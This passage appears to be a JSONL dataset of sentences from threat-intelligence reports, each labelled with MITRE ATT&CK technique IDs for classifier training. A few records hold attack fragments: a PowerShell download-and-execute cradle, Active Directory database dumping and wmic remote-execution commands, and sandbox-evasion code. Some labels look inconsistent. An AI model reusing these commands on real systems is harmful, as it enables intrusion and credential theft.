38ClientTransfer file to server in message body.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "Connection: Keep-AliveCache-Control: no-cache id=1&op=report&status= Figure 21.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "The loader allocates memory using VirtualAlloc and copies the content of qrt.dll.usb there.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "TA410 uses a custom downloader and a custom loader written in .NET, which are convenient for identifying their instances of QuasarRAT among all the noise created by other attackers.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "Initial access to targets is obtained by exploiting vulnerable internet-facing applications such as Microsoft Exchange, or by sending spearphishing emails with malicious attachments such as RTF documents created via the Royal Road builder.", "labels": ["T1190", "T1566.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "IoCs Files SHA-1FilenameDetectionDescription C96558312FBF5847351B0B6F724D7B3A31CCAF03N/AWin32/Agent.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "UNLFlowCloud DLL hijacking malicious library.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "B70F3A3A9B5B8506EE95791469CA496E01AD7DAFwinver32.dllWin32/Agent.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "EDE2AB811311FC011B1E89C5A0B7A60C123B7398hidmouse.sysWin64/Agent.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "CPMetasploit Meterpreter backdoor.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "ULLFlowCloud fcClientDLL final stage backdoor.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "TYMalicious Royal Road document.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "D81215890703C48B8EA07A1F50FEC1A6CA9DF88BN/AWin32/TrojanDownloader.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "B868764C46BADC152667E9128375BA4F8D936559qrt.dll.usbN/AKorplug encrypted payload.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "6CC6170977327541F8185288BB9B1B81F56D3FD0PresentationCache.exeMSIL/Agent.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "Hucline.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "EF3C796652141B8A68DCCF488159E96903479C29htran_f-secury.exeWin32/HackTool.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "6B547C244A3086B5B6EA2B3A0D9594BBE54AE06Binbt.zipPython/HackTool.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "Initial AccessT1190Exploit Public-Facing ApplicationTA410 has exploited web server vulnerabilities for initial access.", "labels": ["T1190"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "T1055.003Process Injection: Thread Execution HijackingOne of FlowCloud’s DLLs replaces instructions in the loading process to make it execute code written in its memory.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "T1140Deobfuscate/Decode Files or InformationMultiple TA410 backdoors communicate with their C&C through encrypted and obfuscated channels.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "T1574.002Hijack Execution Flow: DLL Side-LoadingFlowCloud uses DLL Side-Loading to launch its second-stage dropper.", "labels": ["T1574.002"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "T1016System Network Configuration DiscoveryFlowCloud can discover and use locally configured proxies.", "labels": ["T1090"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "CaptureFlowCloud takes screenshots at regular intervals.", "labels": ["T1113"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "T1560.002Archive Collected Data: Archive via LibraryFlowCloud and LookBack use a statically linked zlib library to compress data.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "Command And ControlT1071.001Application Layer Protocol: Web ProtocolsLookBack and FlowCloud can send and receive data over HTTP.", "labels": ["T1071.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "T1095Non-Application Layer ProtocolLookBack can communicate over raw TCP sockets.", "labels": ["T1095"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"} {"sentence": "During our continuous threat hunting efforts to find malware in open-source repositories, the ReversingLabs team encountered a novel attack that used compiled Python code to evade detection.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Unusual behaviors ReversingLabs regularly scans open-source registers such as PyPi, npm, RubyGems, and GitHub looking for suspicious files.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Those suspicious behaviors extracted from the decompiled file included the presence of URLs that reference the host by IP address, as well as the creation of a process and execution of a file.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "That includes the Material Tailwind and IconBurst campaigns, as well as the more recent campaign we identified distributing Havoc malware.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "In fact, in May, the creation of new user accounts and projects on PyPI were temporarily suspended for a few hours due to a high volume of malicious activity.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "One of the most popular obfuscation techniques is execution of Base64-encoded malicious code, which was first observed in campaigns related to W4SP authors in November 2022.", "labels": ["T1027"], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "This innocent-seeming import of a function triggers a previously unseen loading technique inside the main.py file that avoids using the usual import directive, which is the simplest way to load a Python compiled module (and also something that is likely to get noticed.)", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "However, the library loaded by main.py was unchanged, meaning that the regular import function would have sufficed.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Figure 3: The decompiled code extracted from the full.pyc compiled byte code file showing the content of the get_path() method.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Figure 4: Code responsible for downloading cron_script file A misconfigured web host gives up the goods Given the malware’s reliance on remote C2 infrastructure, it made sense to scout out the web host used in the attack to get more information about the malware’s capabilities.", "labels": ["T1105"], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "As it turned out, the web host had plenty to tell us!", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "For example, trying to access an invalid page on the web host did not generate a 404 “page not found” error, as you would expect.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Using the method described above, our researchers downloaded files with ID Nos. 1-18.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Finally, my team can’t exclude the possibility that there were other channels of distribution besides the fshec2 PyPI package that we haven’t encountered. Figure 7: Names of the files that can be downloaded Conclusion Even though this malicious package and the corresponding C2 infrastructure weren’t state of the art, they remind us how easy it is for malware authors to avoid detection based on source-code analysis.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Loader scripts such as those discovered in the fshec2 package contain a minimal amount of Python code and perform a simple action: loading of a compiled Python module.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Once that was accomplished, the suspicious and malicious functionality was easy to see.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "That is why malware hidden inside the Python compiled byte code could slip under the radar of the traditional security solutions.", "labels": ["T1027"], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "This includes detection of process creation, file execution, gathering of sensitive information, presence of IP addresses, and much more.", "labels": [], "doc_title": "When byte code bites Who checks the contents of compiled Python files"} {"sentence": "Other pieces of malware on the radar In addition to MoonBounce, we found infections across multiple nodes in the same network by a known user-mode malware dubbed ScrambleCross, also known as SideWalk.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"} {"sentence": "The first way is by executing a launcher utility with the filename System.Mail.Service.dll (MD5: 5F9020983A61446A77AF1976247C443D) through the command line as a service.", "labels": ["T1059.003", "T1569.002"], "doc_title": "MoonBounce the dark side of UEFI firmware"} {"sentence": "REG_EXPAND_SZ /d \"$windir\\Microsoft.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"} {"sentence": "The second way to execute StealthMutant is through the creation of a scheduled task via a Windows batch script file named schtask.bat, as outlined below:@echo off cd /d", "labels": ["T1053.005", "T1059.003"], "doc_title": "MoonBounce the dark side of UEFI firmware"} {"sentence": "/LogToConsole", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"} {"sentence": "Mimikat_ssp: a publicly available post-exploitation tool used to dump credentials and security secrets from exe, also used widely by various Chinese-speaking actors (e.g. GhostEmperor, which we reported on).", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"} {"sentence": "In addition, we found several other victims of an undetermined nature with the same versions of ScrambleCross reaching out to the same command and control infrastructure.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"} {"sentence": "\"C: & cd \\ & systeminfo\" Copying of files across SMB shares, followed by an attempt to dump the Active Directory domain database (tid): cmd /C", "labels": ["T1059.003", "T1082", "T1570"], "doc_title": "MoonBounce the dark side of UEFI firmware"} {"sentence": "i ntds\\\" \\\"ifm\\\" \\\"create full $temp\\1\\\\\\\" q q >$temp\\a.bat cmd /C", "labels": ["T1059.003"], "doc_title": "MoonBounce the dark side of UEFI firmware"} {"sentence": "\"C: & cd \\ & type $temp\\a.bat cmd /C", "labels": ["T1059.003"], "doc_title": "MoonBounce the dark side of UEFI firmware"} {"sentence": "\"arp -a >$temp\\TS_P34H.tmp\" $temp\\TS_P61S.tmp -accepteula -d -s \\\\\\ cmd /c \"ping -a -n", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"} {"sentence": "/password: process call create \"cmd /c ping -n 1 -a >$temp\\a.tmp wmic /node: /user:\\", "labels": ["T1070.004"], "doc_title": "MoonBounce the dark side of UEFI firmware"} {"sentence": "Note that the attackers maintained the infrastructure from at least March 2020, with some servers seemingly still active at the end of 2021 .", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"} {"sentence": "The Mimikat_ssp tool found on a few machines in the targeted network has been seen in use by multiple Chinese-speaking threat actors in the past.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"} {"sentence": "Following previous predictions, we can now say that UEFI threats are gradually becoming a norm.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"} {"sentence": "As a safety measure against this attack and similar ones, it is recommended to update the UEFI firmware regularly and verify that BootGuard, where applicable, is enabled.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"} {"sentence": "The majority of the samples we analyzed deliver Remcos as the final payload.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"} {"sentence": "File Created in Startup Folder Following the creation of persistence, two large arrays of decimal bytes were decoded by the function shown in Figure 4. Figure 4 - Decoding Function Porting the decoding function to Python, we created a script (Figure 5 below).", "labels": ["T1140"], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"} {"sentence": "[] position_array =", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"} {"sentence": "[] for position in list(range(256)): key_array.append(key[position % len(key)]) position_array.append(position)", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"} {"sentence": "= 0 new_array =", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"} {"sentence": "These were used to inject the payload into process memory.", "labels": ["T1055"], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"} {"sentence": "Remcos has also been observed using its “Watchdog” feature to restart the RAT if it is terminated (Figure 12).", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"} {"sentence": "[5] “Remcos Instructions Manual,” Breaking Security, accessed May 4, 2021, published July 2018, https://breaking-security.net/wp-content/uploads/dlm_uploads/2018/07/Remcos-Instructions-Manual-rev19.pdf, 15-16.", "labels": [], "doc_title": "Threat Actors Use MSBuild to Deliver RATs Filelessly"} {"sentence": "Cobalt Strike has many different ways for deployment.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "When this stage is reached, the best ways to detect the running Cobalt Strike code are through static signatures or genetic code analysis.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "This attack was done by an APT group known as NOBELIUM (UNC2452) leveraging the “Orion” business software to distribute malware to private and public organizations.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "The variant was named Raindrop by Symantec.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Intezer Analyze endpoint scan result for Raindrop loading and executing a fileless Cobalt Strike payload Living off the Land (LotL) Living off the Land (LotL) is the attack process of using legitimate and signed tools, usually provided within the operating system, to execute malware.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "This type of tactic also makes incident response difficult, since analysts can’t just filter out known legitimate processes during triage.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "An endpoint with a system injected with Cobalt Strike via MSBuild is shown below.", "labels": ["T1055"], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Note the process tree at the bottom indicating the “fileless code.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "This process involves creation of a thread that sets up a named pipe for privilege escalation.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Using hash-based identification of Cobalt Strike is insufficient, since each payload will be encrypted with different keys and each configuration will uniquely change the hash value.", "labels": ["T1027"], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "Strings for pipe names are dynamically generated and incorporate random numbers, meaning they can change every time the malware is executed.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "You can also dive deeper into capabilities specific to the injected Cobalt Strike process.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "IoCs tab showing file and network", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "In the past, tools such as Pafish (Paranoid Fish) have been used by Iranian actors in their tooling for virtual machine (VM) detection.", "labels": [], "doc_title": "How to Detect Cobalt Strike"} {"sentence": "But once we analyzed these new samples, we observed a significant difference between them and the earlier campaign.", "labels": [], "doc_title": "New RapperBot Campaign We Know What You Bruting for this Time"} {"sentence": "In fact, it turns out that this campaign is less like RapperBot than an older campaign that appeared in February and then mysteriously disappeared in the middle of April.", "labels": [], "doc_title": "New RapperBot Campaign We Know What You Bruting for this Time"} {"sentence": "Here are the DoS attack commands supported by this botnet: 0x00: Generic UDP flood 0x01: TCP SYN flood 0x02: TCP ACK flood 0x03: TCP STOMP flood 0x04: UDP SA:MP flood targeting game servers running GTA San Andreas:", "labels": [], "doc_title": "New RapperBot Campaign We Know What You Bruting for this Time"} {"sentence": "Moreover, it specifically checks and stops its self-propagation if the device is detected to be running on Intel processors.", "labels": [], "doc_title": "New RapperBot Campaign We Know What You Bruting for this Time"} {"sentence": "The bot then downloads its payload via software installed on the compromised device, such as ftpget, wget, curl, or tftp, before executing the payload.", "labels": ["T1570"], "doc_title": "New RapperBot Campaign We Know What You Bruting for this Time"} {"sentence": "If none of the software mentioned above is installed, it will extract and send an embedded binary downloader to the compromised device that executes and downloads the primary payload.", "labels": ["T1105"], "doc_title": "New RapperBot Campaign We Know What You Bruting for this Time"} {"sentence": "As labeled in Figure 4, each binary has a hardcoded URL for downloading the payload binary of the proper architecture.", "labels": [], "doc_title": "New RapperBot Campaign We Know What You Bruting for this Time"} {"sentence": "The similar lists of credentials suggest that the threat actor behind this current campaign has access to the source code for the earlier campaign, as this code was not found in other IoT malware samples.", "labels": [], "doc_title": "New RapperBot Campaign We Know What You Bruting for this Time"} {"sentence": "Key-Based Authentication: AsyncSSH supports public key authentication, allowing you to authenticate with SSH servers using key pairs instead of passwords.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "The library follows an event-driven programming model, allowing you to register event handlers and callbacks to handle SSH-related events such as connection establishment, authentication, command execution, and data transfer.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "To avoid raising suspicion and maintaining a higher level of control over the server setup, it is recommended to use a self-hosted server instead of Ngrok.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "[\"vmsrvc.exe\", \"vmusrvc.exe\", \"vboxservice.exe\", \"vboxtray.exe\", \"vmtoolsd.exe\", \"vmacthlp.exe\", \"vmtools.exe\", \"df5serv.exe\"] running_processes = subprocess.check_output(\"tasklist\", shell=True).decode().lower()", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "If the local IP address matches any of the addresses in the list, it suggests that the program could be ran in a sandboxed environment.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "[\"hypervisor\", \"vmx\", \"svm\", \"vmm\", \"nx\"] if any(feature in cpu_info[\"flags\"] for feature in virtualized_cpu_features): return True", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "To enhance control, we could also incorporate a dedicated function that checks for the removal of the pub_key: if such a detection occurs, then proceed to initiate the removal of its own presence or any existing persistence mechanisms.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "Additionally, we could incorporate a special Canary Token within our script: Canary tokens are unique markers that are placed within systems or scripts to act as early warning indicators.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "In this case we received an email alerting us of the event.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "def fernet_decrypt(encrypted_string, password): \"\"\"Decrypt Ngrok AUTH Token\"\"\" try: key = generate_key_from_password(password) cipher = Fernet(key) decrypted_message = cipher.decrypt(encrypted_string) return decrypted_message.decode() except: exit('[-]", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "Error: Could not decrypt AUTH Token') def get_auth_token(): \"\"\"Get AUTH Token from third party service\"\"\" try:", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "url = \"https://pastebin.com/raw/YYYYYY\" r = requests.get(url) if r.status_code == 200: password_for_decrypt = 'P4ssw0rd!'", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "# Here we could insert a request to a canary token to be notified of the event if the file is not found # - for persistence purpose - exit() # So Long, and Thanks for All the Fish!", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "Performance: Nuitka Compiler aims to generate highly optimized C/C++ code, which can result in improved performance compared to interpreted Python code.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "Reduced Dependencies: By compiling Python code into standalone executables, Nuitka Compiler eliminates the need for the target system to have a Python interpreter installed.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "We can proceed to test this under the presence of Windows Defender, ensuring that all settings, including Cloud Protection and Antitamper modes are enabled.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "It also demands continuous research and adaptation as antivirus technologies evolve.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "While higher-level languages like Python offer ease of use and rapid development, the power and control provided by lower-level languages are paramount in the realm of sophisticated malware: one of the primary reasons for choosing C and C++ is the level of control they provide over system resources and hardware.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "Building capabilities consist of creating custom payloads, post-compromise and remote access tool development, creating infected removable media, and similar techniques.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "Several tools are available to create an initial payload, such as a self-extracting archive (SFX).", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "A classic technique used mostly by Advanced Persistent Threat (APT) groups is the use of LNK files when delivering malware: shortcut files that point to other files.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "Attackers are using LNK files to download malware or other malicious files by leveraging legitimate native apps, such as PowerShell.", "labels": ["T1105"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "An ounce of practice is worth more than tons of preaching Gandhi After theory, comes practice!", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "Net.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "ShellExecute($file)", "labels": ["T1059.003"], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "Here’s what each line does: $down = New-Object System.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "WebClient", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "$exec = New-Object -ComObject shell.application This line creates a new Shell.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "However, to add an extra layer of complexity and challenge for malware analysts, we will apply some obfuscation techniques using a helpful tool like Chameleon: https://github.com/klezVirus/chameleon This tool has been developed as a Python port of the Chimera project, by tokioneon_.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "But we’ll see how to bypass this.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "Net.WebClient).DownloadString('https://example.com/ReflectivePEInjection.ps1') | IEX $remoteUrl = \"https://transfersh.com/XXXXXXX/whatever.exe\" $webClient = New-Object System.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "However when AMSI (Antimalware Scan Interface) is activated, it will alert us, as mentioned before.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "Conclusion The first part of this article concludes here, however, our exploration doesn’t end here!", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "In the next upcoming article, we will dive deep into the intricacies of bypassing AMSI, unraveling detailed techniques and methods that will empower us to evade it.", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "Angry 0 0 % Surprise 0 0 %", "labels": [], "doc_title": "Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1"} {"sentence": "As a result, the system will inject the malicious oci.dll into the service’s executable (msdtc.exe) when the MSDTC service is restarted.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "In addition to the hardcoded exclusions, the local disk volumes to be encrypted are also configured in a similar manner.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "Once encrypted, there is no blatant indicator – no separate ransom note dropped, no change to the desktop wallpaper, and no antagonizing file extensions.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "Ransom note appended to head of encrypted file (catb991 variation)", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "Variations of CatB Threat Campaigns Samples pulled from a November 2022 campaign feature a different contact email address, fishA001[@]protonmail.com.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "We have also encountered variations which include both email addresses.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "These ransom notes display all the same features minus the BTC payment address.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "These behaviors appear to be implemented in the interest of detection evasion and some level of anti-analysis trickery.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "This is not the case with CatB. Despite that, the threat lacks in overall sophistication, and a modern, properly configured, XDR/EDR solution should alert quickly upon initiation of a CatB attack in the environment.", "labels": [], "doc_title": "CatB Ransomware File Locker Sharpens Its Claws to Steal Data with MSDTC Service DLL Hijacking"} {"sentence": "Therefore, insertion of malicious code into the SolarWinds.Orion.Core.BusinessLayer.dll likely occurred at an early stage, before the final stages of the software build, which would include digitally signing the compiled code.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "For example, the inserted malicious code is lightweight and only has the task of running a malware-added method in a parallel thread such that the DLL’s normal operations are not altered or interrupted.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "BackgroundInventory.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "Among those tasks is Background Inventory, which ultimately starts the malicious code.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "At first glance, the code in this DLL looks normal and doesn’t raise suspicions, which could be part of the reason why the insertion of malicious code was undetected for months, especially if the code for this DLL was not frequently updated.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "Figure 5: Example of obfuscated strings Initial reconnaissance The Initialize method is the de facto execution entry point of the backdoor.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "It checks that the last write-time of the malicious DLL is at least 12 to 14 days earlier It delays execution by random amounts of time", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "It verifies that the domain name of the current device meets the following conditions: The domain must not contain certain strings; the check for these strings is implemented via hashes, so at this time the domain names that are block-listed are unknown The domain must not contain “solarwinds” The domain must not match the regular expression (?i)([^a-z]|^)(test)([^a-z]|$), or in simpler terms, it must not look like a test domain It checks that there are no running processes related to security-related software (e.g., Windbg, Autoruns, Wireshark)", "labels": ["T1518.001"], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "In its first step, the backdoor initiates a connection to a predefined C2 server to report some basic information about the compromised system and receive the first commands.", "labels": ["T1005"], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "The C2 domain is composed of four different parts: three come from strings that are hardcoded in the backdoor, and one component is generated dynamically based on some unique information extracted from the device.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "This means that every affected device generates a different subdomain to contact (and possibly more than one).", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "(name=”Domain Admins”) member -list | csrss.exe -h breached.contoso.com -f", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "“C:\\Windows\\SoftwareDistribution\\EventCacheManager.exe” /sc ONSTART /ru system /S", "labels": ["T1053.005"], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "The backdoor also allows the attackers to deliver second-stage payloads, which are part of the Cobalt Strike software suite.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "We continue to investigate these payloads, which are detected as Trojan:Win32/Solorigate.A!dha, as the situation continues to unfold.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "More importantly, the ability to correlate signals through AI could surface more evasive attacker activity.", "labels": [], "doc_title": "Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers"} {"sentence": "The detections, however, provide visibility into the attack activity.", "labels": [], "doc_title": "Analyzing 